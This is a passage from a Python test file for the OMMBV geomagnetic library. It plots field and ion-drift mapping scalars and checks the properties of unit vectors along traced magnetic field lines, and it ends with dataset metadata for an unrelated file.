z[:, -1] = z[:, 0]
h[:, -1] = h[:, 0]
normx[:, -1] = normx[:, 0]
normy[:, -1] = normy[:, 0]
normz[:, -1] = normz[:, 0]
normh[:, -1] = normh[:, 0]
# plot tick locations and labels
ytickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
xtickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
plt.imshow(np.log10(np.abs(x)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Difference in Apex Position (X - km) After Stepping')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig(direction + '_step_diff_apex_height_x.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(y)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Difference in Apex Position (Y - km) After Stepping')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig(direction + '_step_diff_apex_height_y.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(z)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Difference in Apex Position (Z - km) After Stepping')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig(direction + '_step_diff_apex_height_z.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.sqrt(x ** 2 + y ** 2 + z ** 2)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Difference in Apex Position After Stepping')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig(direction + '_step_diff_apex_height_r.pdf')
plt.close()
# calculate mean and standard deviation and then plot those
fig = plt.figure()
yerrx = np.nanstd(np.log10(x[:, :-1]), axis=0)
yerry = np.nanstd(np.log10(y[:, :-1]), axis=0)
yerrz = np.nanstd(np.log10(z[:, :-1]), axis=0)
vals = np.log10(np.nanmedian(np.abs(x[:, :-1]), axis=0))
plt.errorbar(p_longs, vals,
yerr=yerrx - vals, label='x')
vals = np.log10(np.nanmedian(np.abs(y[:, :-1]), axis=0))
plt.errorbar(p_longs, vals,
yerr=yerry - vals, label='y')
vals = np.log10(np.nanmedian(np.abs(z[:, :-1]), axis=0))
plt.errorbar(p_longs, vals,
yerr=yerrz - vals, label='z')
plt.xlabel('Longitude (Degrees)')
plt.ylabel('Change in ECEF (km)')
plt.title('Log Median Difference in Apex Position')
plt.legend()
plt.tight_layout()
plt.tight_layout();
plt.savefig(direction + '_step_diff_v_longitude.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(np.abs(h / normh)), origin='lower')
plt.colorbar()
plt.yticks(ytickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(xtickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Normalized Difference in Apex Height (h) After Stepping')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig(direction + '_normal_step_diff_apex_height_h.pdf')
plt.close()
except:
pass
def test_step_sensitivity(self):
f = functools.partial(self.step_along_mag_unit_vector_sensitivity_plots, direction='zonal')
yield (f,)
f = functools.partial(self.step_along_mag_unit_vector_sensitivity_plots, direction='meridional')
yield (f,)
def test_geomag_efield_scalars_plots(self):
"""Produce summary plots of the electric field and drift mapping values """
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
north_zonal = np.zeros((len(p_lats), len(p_longs) + 1))
north_mer = north_zonal.copy()
south_zonal = north_zonal.copy()
south_mer = north_zonal.copy()
eq_zonal = north_zonal.copy()
eq_mer = north_zonal.copy()
north_zonald = np.zeros((len(p_lats), len(p_longs) + 1))
north_merd = north_zonal.copy()
south_zonald = north_zonal.copy()
south_merd = north_zonal.copy()
eq_zonald = north_zonal.copy()
eq_merd = north_zonal.copy()
date = datetime.datetime(2000, 1, 1)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print (i, p_lat)
dview.targets = next(targets)
pending.append(dview.apply_async(OMMBV.scalars_for_mapping_ion_drifts,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs)))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output
scalars = pending.pop(0).get()
north_zonal[i, :-1] = scalars['north_mer_fields_scalar']
north_mer[i, :-1] = scalars['north_zon_fields_scalar']
south_zonal[i, :-1] = scalars['south_mer_fields_scalar']
south_mer[i, :-1] = scalars['south_zon_fields_scalar']
eq_zonal[i, :-1] = scalars['equator_mer_fields_scalar']
eq_mer[i, :-1] = scalars['equator_zon_fields_scalar']
north_zonald[i, :-1] = scalars['north_zon_drifts_scalar']
north_merd[i, :-1] = scalars['north_mer_drifts_scalar']
south_zonald[i, :-1] = scalars['south_zon_drifts_scalar']
south_merd[i, :-1] = scalars['south_mer_drifts_scalar']
eq_zonald[i, :-1] = scalars['equator_zon_drifts_scalar']
eq_merd[i, :-1] = scalars['equator_mer_drifts_scalar']
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
scalars = OMMBV.scalars_for_mapping_ion_drifts([p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs))
north_zonal[i, :-1] = scalars['north_mer_fields_scalar']
north_mer[i, :-1] = scalars['north_zon_fields_scalar']
south_zonal[i, :-1] = scalars['south_mer_fields_scalar']
south_mer[i, :-1] = scalars['south_zon_fields_scalar']
eq_zonal[i, :-1] = scalars['equator_mer_fields_scalar']
eq_mer[i, :-1] = scalars['equator_zon_fields_scalar']
north_zonald[i, :-1] = scalars['north_zon_drifts_scalar']
north_merd[i, :-1] = scalars['north_mer_drifts_scalar']
south_zonald[i, :-1] = scalars['south_zon_drifts_scalar']
south_merd[i, :-1] = scalars['south_mer_drifts_scalar']
eq_zonald[i, :-1] = scalars['equator_zon_drifts_scalar']
eq_merd[i, :-1] = scalars['equator_mer_drifts_scalar']
# account for periodicity
north_zonal[:, -1] = north_zonal[:, 0]
north_mer[:, -1] = north_mer[:, 0]
south_zonal[:, -1] = south_zonal[:, 0]
south_mer[:, -1] = south_mer[:, 0]
eq_zonal[:, -1] = eq_zonal[:, 0]
eq_mer[:, -1] = eq_mer[:, 0]
north_zonald[:, -1] = north_zonald[:, 0]
north_merd[:, -1] = north_merd[:, 0]
south_zonald[:, -1] = south_zonald[:, 0]
south_merd[:, -1] = south_merd[:, 0]
eq_zonald[:, -1] = eq_zonald[:, 0]
eq_merd[:, -1] = eq_merd[:, 0]
xtickvals = ['-25', '-12.5', '0', '12.5', '25']
xtickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
ytickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
plt.imshow(eq_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_mer_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(eq_mer, origin='lower') # , vmin=0, vmax=1.)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_zon_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_mer_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_mer, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_zon_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_mer_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_mer, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_zon_field.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(eq_zonald), origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Zonal Ion Drift Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_zonal_drift.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(eq_merd), origin='lower') # , vmin=0, vmax=1.)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Meridional Ion Drift Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_mer_drift.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_zonald, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Ion Drift Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_zonal_drift.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_merd, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Ion Drift Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_mer_drift.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_zonald, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Ion Drift Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_zonal_drift.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_merd, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Ion Drift Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_mer_drift.pdf')
plt.close()
except:
pass
def test_heritage_geomag_efield_scalars_plots(self):
"""Summary plots of the heritage code path for scaling electric fields and ion drifts"""
import matplotlib.pyplot as plt
p_lats, p_longs, p_alts = gen_plot_grid_fixed_alt(550.)
# data returned are the locations along each direction
# the full range of points obtained by iterating over all
# recasting alts into a more convenient form for later calculation
p_alts = [p_alts[0]]*len(p_longs)
north_zonal = np.zeros((len(p_lats), len(p_longs) + 1))
north_mer = north_zonal.copy()
south_zonal = north_zonal.copy()
south_mer = north_zonal.copy()
eq_zonal = north_zonal.copy()
eq_mer = north_zonal.copy()
north_zonald = np.zeros((len(p_lats), len(p_longs) + 1))
north_merd = north_zonal.copy()
south_zonald = north_zonal.copy()
south_merd = north_zonal.copy()
eq_zonald = north_zonal.copy()
eq_merd = north_zonal.copy()
date = datetime.datetime(2000, 1, 1)
# set up multi
if self.dc is not None:
targets = itertools.cycle(dc.ids)
pending = []
for i, p_lat in enumerate(p_lats):
# iterate through target cyclicly and run commands
print (i, p_lat)
dview.targets = next(targets)
pending.append(
dview.apply_async(OMMBV.heritage_scalars_for_mapping_ion_drifts,
[p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs)))
for i, p_lat in enumerate(p_lats):
print ('collecting ', i, p_lat)
# collect output
scalars = pending.pop(0).get()
north_zonal[i, :-1] = scalars['north_mer_fields_scalar']
north_mer[i, :-1] = scalars['north_zon_fields_scalar']
south_zonal[i, :-1] = scalars['south_mer_fields_scalar']
south_mer[i, :-1] = scalars['south_zon_fields_scalar']
eq_zonal[i, :-1] = scalars['equator_mer_fields_scalar']
eq_mer[i, :-1] = scalars['equator_zon_fields_scalar']
north_zonald[i, :-1] = scalars['north_zonal_drifts_scalar']
north_merd[i, :-1] = scalars['north_mer_drifts_scalar']
south_zonald[i, :-1] = scalars['south_zonal_drifts_scalar']
south_merd[i, :-1] = scalars['south_mer_drifts_scalar']
eq_zonald[i, :-1] = scalars['equator_zonal_drifts_scalar']
eq_merd[i, :-1] = scalars['equator_mer_drifts_scalar']
else:
for i, p_lat in enumerate(p_lats):
print (i, p_lat)
scalars = OMMBV.heritage_scalars_for_mapping_ion_drifts([p_lat]*len(p_longs), p_longs,
p_alts, [date]*len(p_longs))
north_zonal[i, :-1] = scalars['north_mer_fields_scalar']
north_mer[i, :-1] = scalars['north_zon_fields_scalar']
south_zonal[i, :-1] = scalars['south_mer_fields_scalar']
south_mer[i, :-1] = scalars['south_zon_fields_scalar']
eq_zonal[i, :-1] = scalars['equator_mer_fields_scalar']
eq_mer[i, :-1] = scalars['equator_zon_fields_scalar']
north_zonald[i, :-1] = scalars['north_zonal_drifts_scalar']
north_merd[i, :-1] = scalars['north_mer_drifts_scalar']
south_zonald[i, :-1] = scalars['south_zonal_drifts_scalar']
south_merd[i, :-1] = scalars['south_mer_drifts_scalar']
eq_zonald[i, :-1] = scalars['equator_zonal_drifts_scalar']
eq_merd[i, :-1] = scalars['equator_mer_drifts_scalar']
# account for periodicity
north_zonal[:, -1] = north_zonal[:, 0]
north_mer[:, -1] = north_mer[:, 0]
south_zonal[:, -1] = south_zonal[:, 0]
south_mer[:, -1] = south_mer[:, 0]
eq_zonal[:, -1] = eq_zonal[:, 0]
eq_mer[:, -1] = eq_mer[:, 0]
north_zonald[:, -1] = north_zonald[:, 0]
north_merd[:, -1] = north_merd[:, 0]
south_zonald[:, -1] = south_zonald[:, 0]
south_merd[:, -1] = south_merd[:, 0]
eq_zonald[:, -1] = eq_zonald[:, 0]
eq_merd[:, -1] = eq_merd[:, 0]
xtickvals = ['-25', '-12.5', '0', '12.5', '25']
xtickarr = np.array([0, 0.25, 0.5, 0.75, 1])*(len(p_lats) - 1)
ytickarr = np.array([0, 0.2, 0.4, 0.6, 0.8, 1])*len(p_longs)
try:
fig = plt.figure()
plt.imshow(eq_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_mer_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(eq_mer, origin='lower') # , vmin=0, vmax=1.)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_zon_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_mer_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_mer, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_zon_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_zonal, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Electric Field Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_mer_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_mer, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, ['-50', '-25', '0', '25', '50'])
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Electric Field Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_zon_field_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(eq_zonald), origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Zonal Ion Drift Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_zonal_drift_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(np.log10(eq_merd), origin='lower') # , vmin=0, vmax=1.)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Log Meridional Ion Drift Mapping to Magnetic Equator')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('eq_mer_drift_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_zonald, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Ion Drift Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_zonal_drift_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(north_merd, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Ion Drift Mapping to Northern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('north_mer_drift_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_zonald, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Zonal Ion Drift Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_zonal_drift_heritage.pdf')
plt.close()
fig = plt.figure()
plt.imshow(south_merd, origin='lower') # , vmin=0, vmax=2)
plt.colorbar()
plt.yticks(xtickarr, xtickvals)
plt.xticks(ytickarr, ['0', '72', '144', '216', '288', '360'])
plt.title('Meridional Ion Drift Mapping to Southern Footpoint')
plt.xlabel('Geodetic Longitude (Degrees)')
plt.ylabel('Geodetic Latitude (Degrees)')
plt.tight_layout();
plt.savefig('south_mer_drift_heritage.pdf')
plt.close()
except:
pass
def test_unit_vector_and_field_line_plots(self):
"""Test basic vector properties along field lines.
Produce visualization of field lines around globe
as well as unit vectors along those field lines
"""
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D
on_travis = os.environ.get('ONTRAVIS') == 'True'
# convert OMNI position to ECEF
p_long = np.arange(0., 360., 12.)
p_alt = 0*p_long + 550.
p_lats = [5., 10., 15., 20., 25., 30.]
truthiness = []
for i, p_lat in enumerate(p_lats):
trace_s = []
if not on_travis:
try:
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
except:
print('Disabling plotting for tests due to error.')
on_travis = True
#
date = datetime.datetime(2000, 1, 1)
ecef_x, ecef_y, ecef_z = OMMBV.geocentric_to_ecef(p_lat, p_long, p_alt)
for j, (x, y, z) in enumerate(zip(ecef_x, ecef_y, ecef_z)):
# perform field line traces
trace_n = OMMBV.field_line_trace(np.array([x, y, z]), date, 1., 0.,
step_size=.5, max_steps=1.E6)
trace_s = OMMBV.field_line_trace(np.array([x, y, z]), date, -1., 0.,
step_size=.5, max_steps=1.E6)
# combine together, S/C position is first for both
# reverse first array and join so plotting makes sense
trace = np.vstack((trace_n[::-1], trace_s))
trace = pds.DataFrame(trace, columns=['x', 'y', 'z'])
# plot field-line
if not on_travis:
ax.plot(trace['x'], trace['y'], trace['z'], 'b')
plt.xlabel('X')
plt.ylabel('Y')
ax.set_zlabel('Z')
# clear stored data
self.inst.data = pds.DataFrame()
# downselect, reduce number of points
trace = trace.loc[::1000, :]
# compute magnetic field vectors
# need to provide alt, latitude, and longitude in geodetic coords
latitude, longitude, altitude = OMMBV.ecef_to_geodetic(trace['x'], trace['y'], trace['z'])
self.inst[:, 'latitude'] = latitude
self.inst[:, 'longitude'] = longitude
self.inst[:, 'altitude'] = altitude
# store values for plotting locations for vectors
self.inst[:, 'x'] = trace['x'].values
self.inst[:, 'y'] = trace['y'].values
self.inst[:, 'z'] = trace['z'].values
idx, = np.where(self.inst['altitude'] > 250.)
self.inst.data = self.inst[idx, :]
# also need to provide transformation from ECEF to S/C
# going to leave that a null transformation so we can plot in ECF
self.inst[:, 'sc_xhat_x'], self.inst[:, 'sc_xhat_y'], self.inst[:, 'sc_xhat_z'] = 1., 0., 0.
self.inst[:, 'sc_yhat_x'], self.inst[:, 'sc_yhat_y'], self.inst[:, 'sc_yhat_z'] = 0., 1., 0.
self.inst[:, 'sc_zhat_x'], self.inst[:, 'sc_zhat_y'], self.inst[:, 'sc_zhat_z'] = 0., 0., 1.
self.inst.data.index = pysat.utils.time.create_date_range(pysat.datetime(2000, 1, 1),
pysat.datetime(2000, 1, 1) +
pds.DateOffset(
seconds=len(self.inst.data) - 1),
freq='S')
OMMBV.satellite.add_mag_drift_unit_vectors(self.inst)
# if i % 2 == 0:
length = 500
vx = self.inst['unit_zon_x']
vy = self.inst['unit_zon_y']
vz = self.inst['unit_zon_z']
if not on_travis:
ax.quiver3D(self.inst['x'] + length*vx, self.inst['y'] + length*vy,
self.inst['z'] + length*vz, vx, vy, vz, length=500.,
color='green') # , pivot='tail')
length = 500
vx = self.inst['unit_fa_x']
vy = self.inst['unit_fa_y']
vz = self.inst['unit_fa_z']
if not on_travis:
ax.quiver3D(self.inst['x'] + length*vx, self.inst['y'] + length*vy,
self.inst['z'] + length*vz, vx, vy, vz, length=500.,
color='purple') # , pivot='tail')
length = 500
vx = self.inst['unit_mer_x']
vy = self.inst['unit_mer_y']
vz = self.inst['unit_mer_z']
if not on_travis:
ax.quiver3D(self.inst['x'] + length*vx, self.inst['y'] + length*vy,
self.inst['z'] + length*vz, vx, vy, vz, length=500.,
color='red') # , pivot='tail')
# check that vectors norm to 1
assert np.all(np.sqrt(self.inst['unit_zon_x'] ** 2 +
self.inst['unit_zon_y'] ** 2 +
self.inst['unit_zon_z'] ** 2) > 0.999999)
assert np.all(np.sqrt(self.inst['unit_fa_x'] ** 2 +
self.inst['unit_fa_y'] ** 2 +
self.inst['unit_fa_z'] ** 2) > 0.999999)
assert np.all(np.sqrt(self.inst['unit_mer_x'] ** 2 +
self.inst['unit_mer_y'] ** 2 +
self.inst['unit_mer_z'] ** 2) > 0.999999)
# confirm vectors are mutually orthogonal
dot1 = self.inst['unit_zon_x']*self.inst['unit_fa_x'] + self.inst['unit_zon_y']*self.inst[
'unit_fa_y'] + self.inst['unit_zon_z']*self.inst['unit_fa_z']
dot2 = self.inst['unit_zon_x']*self.inst['unit_mer_x'] + self.inst['unit_zon_y']*self.inst[
'unit_mer_y'] + self.inst['unit_zon_z']*self.inst['unit_mer_z']
dot3 = self.inst['unit_fa_x']*self.inst['unit_mer_x'] + self.inst['unit_fa_y']*self.inst[
'unit_mer_y'] + self.inst['unit_fa_z']*self.inst['unit_mer_z']
assert np.all(np.abs(dot1) < 1.E-6)
assert np.all(np.abs(dot2) < 1.E-6)
assert np.all(np.abs(dot3) < 1.E-6)
# ensure that zonal vector is generally eastward
ones = np.ones(len(self.inst.data.index))
zeros = np.zeros(len(self.inst.data.index))
ex, ey, ez = OMMBV.enu_to_ecef_vector(ones, zeros, zeros, self.inst['latitude'], self.inst['longitude'])
nx, ny, nz = OMMBV.enu_to_ecef_vector(zeros, ones, zeros, self.inst['latitude'], self.inst['longitude'])
ux, uy, uz = OMMBV.enu_to_ecef_vector(zeros, zeros, ones, self.inst['latitude'], self.inst['longitude'])
dot1 = self.inst['unit_zon_x']*ex + self.inst['unit_zon_y']*ey + self.inst['unit_zon_z']*ez
assert np.all(dot1 > 0.)
dot1 = self.inst['unit_fa_x']*nx + self.inst['unit_fa_y']*ny + self.inst['unit_fa_z']*nz
assert np.all(dot1 > 0.)
dot1 = self.inst['unit_mer_x']*ux + self.inst['unit_mer_y']*uy + self.inst['unit_mer_z']*uz
assert np.all(dot1 > 0.)
if not on_travis:
plt.tight_layout();
plt.savefig(''.join(('magnetic_unit_vectors_', str(int(p_lat)), '.pdf')))
plt.close()
assert np.all(truthiness)
| 47.578467 | 120 | 0.479147 | 15,653 | 130,365 | 3.825593 | 0.037884 | 0.010153 | 0.017434 | 0.030944 | 0.916803 | 0.902775 | 0.89167 | 0.885074 | 0.875238 | 0.860759 | 0 | 0.046048 | 0.370491 | 130,365 | 2,739 | 121 | 47.595838 | 0.683633 | 0.062877 | 0 | 0.77568 | 0 | 0 | 0.148776 | 0.019291 | 0 | 0 | 0 | 0 | 0.005707 | 1 | 0.007024 | false | 0.003512 | 0.00878 | 0 | 0.017998 | 0.011414 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
780f3f80f676a1f2bd5e415de00dc180fd5b7e17 | 18,365 | py | Python | src/abaqus/Interaction/IncidentWaveProperty.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
] | 7 | 2022-01-21T09:15:45.000Z | 2022-02-15T09:31:58.000Z | src/abaqus/Interaction/IncidentWaveProperty.py | Haiiliin/PyAbaqus | f20db6ebea19b73059fe875a53be370253381078 | [
"MIT"
